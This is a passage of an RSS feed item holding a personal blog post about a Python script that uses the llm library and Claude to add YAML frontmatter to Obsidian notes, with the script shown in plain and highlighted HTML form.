            <enclosure url="https://substackcdn.com/image/fetch/$s_!BIuc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F82917998-fa78-4dbd-b6a5-aa294fbe9454_1000x668.jpeg" length="0" type="image/jpeg"/>
        </item>
        <item>
            <title><![CDATA[Cleaning up Notes with LLM]]></title>
            <link>https://mrkaran.dev/posts/cleanup-obsidian/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/cleanup-obsidian/</guid>
            <pubDate>Fri, 03 Jan 2025 04:45:00 GMT</pubDate>
            <description><![CDATA[My Obsidian vault has gotten quite messy over time. I’ve been dumping notes without proper frontmatter, tags were all over the place, and some notes didn’t even have proper titles! I needed a way to clean this up without spending hours manually organizing everything.
I’d been playing around with Claude’s API lately, and thought – hey, why not use an LLM to analyze my notes and add proper frontmatter? After all, that’s what these AI models are good at – understanding context and categorizing stuff.
I wrote a small Python script using the llm library (which is pretty neat btw) to do just this. Here’s what it looks like:
import llm
import os
import yaml
import datetime
from pathlib import Path
import re

class ObsidianNoteProcessor:
    def __init__(self, notes_dir, model_name="claude-3.5-sonnet"):
        self.notes_dir = Path(notes_dir)
        self.model = llm.get_model(model_name)
        
    def extract_existing_frontmatter(self, content):
        """Extract existing frontmatter if present."""
        frontmatter_pattern = r'^---\n(.*?)\n---\n'
        match = re.match(frontmatter_pattern, content, re.DOTALL)
        
        if match:
            try:
                return yaml.safe_load(match.group(1)), content[match.end():]
            except yaml.YAMLError:
                return {}, content
        return {}, content

    def generate_prompt(self, content):
        """Generate a prompt for the LLM to analyze the note content."""
        return f"""Analyze the following note content and extract/infer the following properties:
1. A clear title (if not present, generate from content)
2. Relevant categories based on the content
3. Appropriate tags (include 'inbox' if content seems draft-like)
4. Status (Draft/In Progress/Complete) based on content completeness
5. Priority (Low/Medium/High) based on content importance
6. A brief description summarizing the content

Note content:
{content}

Return ONLY the YAML frontmatter without any code block markers. Use this exact format (omit fields if not applicable):
title: <title>
category: <category>
tags:
  - tag1
  - tag2
status: <status>
priority: <priority>
description: <description>"""

    def clean_llm_response(self, response_text):
        """Clean up the LLM response to ensure proper YAML."""
        # Remove yaml code block markers if present
        response_text = response_text.strip()
        if response_text.startswith('```yaml'):
            response_text = response_text.split('\n', 1)[1]
        if response_text.endswith('```'):
            response_text = response_text.rsplit('\n', 1)[0]
        return response_text.strip()

    def process_note(self, file_path):
        """Process a single note file."""
        try:
            with open(file_path, 'r', encoding='utf-8') as f:
                content = f.read()
            
            # Extract existing frontmatter and content
            existing_frontmatter, main_content = self.extract_existing_frontmatter(content)
            
            # Generate and execute prompt
            response = self.model.prompt(self.generate_prompt(main_content))
            response_text = self.clean_llm_response(response.text())
            
            try:
                new_frontmatter = yaml.safe_load(response_text)
                if not isinstance(new_frontmatter, dict):
                    print(f"Warning: Invalid response format for {file_path.name}")
                    new_frontmatter = {}
            except yaml.YAMLError as e:
                print(f"YAML parsing error for {file_path.name}")
                print(f"Response text was:\n{response_text}")
                raise e
            
            # Merge with existing frontmatter, preferring existing values
            merged_frontmatter = {**new_frontmatter, **existing_frontmatter}
            
            # Add date if not present
            if 'date' not in merged_frontmatter:
                merged_frontmatter['date'] = datetime.date.today().isoformat()
            
            # Generate new note content
            new_content = "---\n"
            new_content += yaml.dump(merged_frontmatter, sort_keys=False, allow_unicode=True)
            new_content += "---\n\n"
            new_content += main_content.strip()
            
            # Write back to file
            with open(file_path, 'w', encoding='utf-8') as f:
                f.write(new_content)
                
            print(f"✓ Processed: {file_path.name}")
            
        except Exception as e:
            print(f"✗ Error processing {file_path.name}: {str(e)}")

    def process_vault(self):
        """Process all markdown files in the vault."""
        print("Starting Obsidian vault cleanup...")
        
        for file_path in self.notes_dir.glob('**/*.md'):
            self.process_note(file_path)
        
        print("\nVault cleanup completed!")

def main():
    # Set up the model key if not already configured
    model = llm.get_model("claude-3.5-sonnet")
    if not hasattr(model, 'key'):
        api_key = os.getenv('ANTHROPIC_API_KEY')
        if not api_key:
            raise ValueError("Please set ANTHROPIC_API_KEY environment variable")
        model.key = api_key
    
    # Initialize and run the processor
    notes_dir = "/Users/karan/Notes/Obsidian/The Wall/Notes"
    processor = ObsidianNoteProcessor(notes_dir)
    processor.process_vault()

if __name__ == "__main__":
    main()

The script is pretty straightforward – it reads each markdown file, extracts any existing frontmatter (because I don’t want to lose that!), and then asks Claude to analyze the content and generate appropriate frontmatter. It adds stuff like title, category, tags, status, priority.
What I love about this approach is that it’s contextual. Unlike regex-based approaches or keyword matching, the LLM actually understands what the note is about and can categorize it properly. A note about “Setting up BTRFS on Arch” automatically gets tagged with “linux”, “filesystem”, “arch” without me having to maintain a predefined list of tags. The categorization is probably better than what I’d have done manually at 2 AM while organizing my notes!
Fin!]]></description>
            <content:encoded><![CDATA[<p>My Obsidian vault has gotten quite messy over time. I’ve been dumping notes without proper frontmatter, tags were all over the place, and some notes didn’t even have proper titles! I needed a way to clean this up without spending hours manually organizing everything.</p>
<p>I’d been playing around with Claude’s API lately, and thought – hey, why not use an LLM to analyze my notes and add proper frontmatter? After all, that’s what these AI models are good at – understanding context and categorizing stuff.</p>
<p>I wrote a small Python script using the <a rel="external" href="https://llm.datasette.io/en/stable/">llm</a> library (which is pretty neat btw) to do just this. Here’s what it looks like:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> llm</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> os</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> yaml</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> datetime</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">from</span><span> pathlib</span><span style="color: light-dark(#D73A49, #F47067);"> import</span><span> Path</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> re</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">class</span><span style="color: light-dark(#6F42C1, #F69D50);"> ObsidianNoteProcessor</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    def</span><span style="color: light-dark(#005CC5, #6CB6FF);"> __init__</span><span>(</span><span>self</span><span>,</span><span> notes_dir</span><span>,</span><span> model_name</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">claude-3.5-sonnet</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">        self</span><span>.</span><span>notes_dir</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> Path</span><span>(</span><span>notes_dir</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">        self</span><span>.</span><span>model</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> llm</span><span>.</span><span>get_model</span><span>(</span><span>model_name</span><span>)</span></span>
<span class="giallo-l"><span>        </span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> extract_existing_frontmatter</span><span>(</span><span>self</span><span>,</span><span> content</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;&quot;&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Extract existing frontmatter if present.</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;&quot;&quot;</span></span>
<span class="giallo-l"><span>        frontmatter_pattern</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#D73A49, #F47067);"> r</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#005CC5, #6CB6FF);">^</span><span style="color: light-dark(#032F62, #96D0FF);">---</span><span style="color: light-dark(#22863A, #8DDB8C);font-weight: bold;">\n</span><span style="color: light-dark(#005CC5, #6CB6FF);">(</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#D73A49, #F47067);">*?</span><span style="color: light-dark(#005CC5, #6CB6FF);">)</span><span style="color: light-dark(#22863A, #8DDB8C);font-weight: bold;">\n</span><span style="color: light-dark(#032F62, #96D0FF);">---</span><span style="color: light-dark(#22863A, #8DDB8C);font-weight: bold;">\n</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"><span>        match</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> re</span><span>.</span><span>match</span><span>(</span><span>frontmatter_pattern</span><span>,</span><span> content</span><span>,</span><span> re</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">DOTALL</span><span>)</span></span>
<span class="giallo-l"><span>        </span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        if</span><span> match</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">            try</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">                return</span><span> yaml</span><span>.</span><span>safe_load</span><span>(</span><span>match</span><span>.</span><span>group</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>)</span><span>)</span><span>,</span><span> content</span><span>[</span><span>match</span><span>.</span><span>end</span><span>(</span><span>)</span><span>:</span><span>]</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">            except</span><span> yaml</span><span>.</span><span>YAMLError</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">                return</span><span> {</span><span>}</span><span>,</span><span> content</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        return</span><span> {</span><span>}</span><span>,</span><span> content</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> generate_prompt</span><span>(</span><span>self</span><span>,</span><span> content</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;&quot;&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Generate a prompt for the LLM to analyze the note content.</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;&quot;&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        return</span><span style="color: light-dark(#D73A49, #F47067);"> f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;&quot;&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Analyze the following note content and extract/infer the following properties:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">1. A clear title (if not present, generate from content)</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">2. Relevant categories based on the content</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">3. Appropriate tags (include &#39;inbox&#39; if content seems draft-like)</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">4. Status (Draft/In Progress/Complete) based on content completeness</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">5. Priority (Low/Medium/High) based on content importance</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">6. A brief description summarizing the content</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">Note content:</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #F47067);">{</span><span>content</span><span style="color: light-dark(#005CC5, #F47067);">}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">Return ONLY the YAML frontmatter without any code block markers. Use this exact format (omit fields if not applicable):</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">title: &lt;title&gt;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">category: &lt;category&gt;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">tags:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">  - tag1</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">  - tag2</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">status: &lt;status&gt;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">priority: &lt;priority&gt;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">description: &lt;description&gt;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;&quot;&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> clean_llm_response</span><span>(</span><span>self</span><span>,</span><span> response_text</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;&quot;&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Clean up the LLM response to ensure proper YAML.</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;&quot;&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">        #</span><span style="color: light-dark(#6A737D, #768390);"> Remove yaml code block markers if present</span></span>
<span class="giallo-l"><span>        response_text</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> response_text</span><span>.</span><span>strip</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        if</span><span> response_text</span><span>.</span><span>startswith</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">```yaml</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span>            response_text</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> response_text</span><span>.</span><span>split</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span><span>)</span><span>[</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>]</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        if</span><span> response_text</span><span>.</span><span>endswith</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">```</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span>            response_text</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> response_text</span><span>.</span><span>rsplit</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span><span>)</span><span>[</span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span><span>]</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        return</span><span> response_text</span><span>.</span><span>strip</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> process_note</span><span>(</span><span>self</span><span>,</span><span> file_path</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;&quot;&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Process a single note file.</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;&quot;&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        try</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">            with</span><span style="color: light-dark(#005CC5, #6CB6FF);"> open</span><span>(</span><span>file_path</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> encoding</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">utf-8</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> as</span><span> f</span><span>:</span></span>
<span class="giallo-l"><span>                content</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> f</span><span>.</span><span>read</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>            </span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            #</span><span style="color: light-dark(#6A737D, #768390);"> Extract existing frontmatter and content</span></span>
<span class="giallo-l"><span>            existing_frontmatter</span><span>,</span><span> main_content</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> self</span><span>.</span><span>extract_existing_frontmatter</span><span>(</span><span>content</span><span>)</span></span>
<span class="giallo-l"><span>            </span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            #</span><span style="color: light-dark(#6A737D, #768390);"> Generate and execute prompt</span></span>
<span class="giallo-l"><span>            response</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> self</span><span>.</span><span>model</span><span>.</span><span>prompt</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">self</span><span>.</span><span>generate_prompt</span><span>(</span><span>main_content</span><span>)</span><span>)</span></span>
<span class="giallo-l"><span>            response_text</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> self</span><span>.</span><span>clean_llm_response</span><span>(</span><span>response</span><span>.</span><span>text</span><span>(</span><span>)</span><span>)</span></span>
<span class="giallo-l"><span>            </span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">            try</span><span>:</span></span>
<span class="giallo-l"><span>                new_frontmatter</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> yaml</span><span>.</span><span>safe_load</span><span>(</span><span>response_text</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">                if</span><span style="color: light-dark(#D73A49, #F47067);"> not</span><span style="color: light-dark(#005CC5, #6CB6FF);"> isinstance</span><span>(</span><span>new_frontmatter</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> dict</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">                    print</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Warning: Invalid response format for </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>file_path</span><span>.</span><span>name</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>                    new_frontmatter</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> {</span><span>}</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">            except</span><span> yaml</span><span>.</span><span>YAMLError</span><span style="color: light-dark(#D73A49, #F47067);"> as</span><span> e</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">                print</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">YAML parsing error for </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>file_path</span><span>.</span><span>name</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">                print</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Response text was:</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>response_text</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">                raise</span><span> e</span></span>
<span class="giallo-l"><span>            </span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            #</span><span style="color: light-dark(#6A737D, #768390);"> Merge with existing frontmatter, preferring existing values</span></span>
<span class="giallo-l"><span>            merged_frontmatter</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> {</span><span style="color: light-dark(#D73A49, #F47067);">**</span><span>new_frontmatter</span><span>,</span><span style="color: light-dark(#D73A49, #F47067);"> **</span><span>existing_frontmatter</span><span>}</span></span>
<span class="giallo-l"><span>            </span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            #</span><span style="color: light-dark(#6A737D, #768390);"> Add date if not present</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">            if</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">date</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#D73A49, #F47067);"> not</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span> merged_frontmatter</span><span>:</span></span>
<span class="giallo-l"><span>                merged_frontmatter</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">date</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> datetime</span><span>.</span><span>date</span><span>.</span><span>today</span><span>(</span><span>)</span><span>.</span><span>isoformat</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>            </span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            #</span><span style="color: light-dark(#6A737D, #768390);"> Generate new note content</span></span>
<span class="giallo-l"><span>            new_content</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">---</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>            new_content</span><span style="color: light-dark(#D73A49, #F47067);"> +=</span><span> yaml</span><span>.</span><span>dump</span><span>(</span><span>merged_frontmatter</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> sort_keys</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">False</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> allow_unicode</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">True</span><span>)</span></span>
<span class="giallo-l"><span>            new_content</span><span style="color: light-dark(#D73A49, #F47067);"> +=</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">---</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>            new_content</span><span style="color: light-dark(#D73A49, #F47067);"> +=</span><span> main_content</span><span>.</span><span>strip</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>            </span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">            #</span><span style="color: light-dark(#6A737D, #768390);"> Write back to file</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">            with</span><span style="color: light-dark(#005CC5, #6CB6FF);"> open</span><span>(</span><span>file_path</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">w</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> encoding</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">utf-8</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> as</span><span> f</span><span>:</span></span>
<span class="giallo-l"><span>                f</span><span>.</span><span>write</span><span>(</span><span>new_content</span><span>)</span></span>
<span class="giallo-l"><span>                </span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">            print</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">✓ Processed: </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>file_path</span><span>.</span><span>name</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>            </span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        except</span><span style="color: light-dark(#005CC5, #6CB6FF);"> Exception</span><span style="color: light-dark(#D73A49, #F47067);"> as</span><span> e</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">            print</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">✗ Error processing </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>file_path</span><span>.</span><span>name</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">: </span><span style="color: light-dark(#005CC5, #F47067);">{</span><span style="color: light-dark(#005CC5, #6CB6FF);">str</span><span>(</span><span>e</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> process_vault</span><span>(</span><span>self</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;&quot;&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Process all markdown files in the vault.</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;&quot;&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">        print</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Starting Obsidian vault cleanup...</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>        </span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        for</span><span> file_path</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span style="color: light-dark(#005CC5, #6CB6FF);"> self</span><span>.</span><span>notes_dir</span><span>.</span><span>glob</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">**/*.md</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">            self</span><span>.</span><span>process_note</span><span>(</span><span>file_path</span><span>)</span></span>
<span class="giallo-l"><span>        </span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">        print</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">Vault cleanup completed!</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> main</span><span>(</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> Set up the model key if not already configured</span></span>
<span class="giallo-l"><span>    model</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> llm</span><span>.</span><span>get_model</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">claude-3.5-sonnet</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    if</span><span style="color: light-dark(#D73A49, #F47067);"> not</span><span style="color: light-dark(#005CC5, #6CB6FF);"> hasattr</span><span>(</span><span>model</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">key</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span>:</span></span>
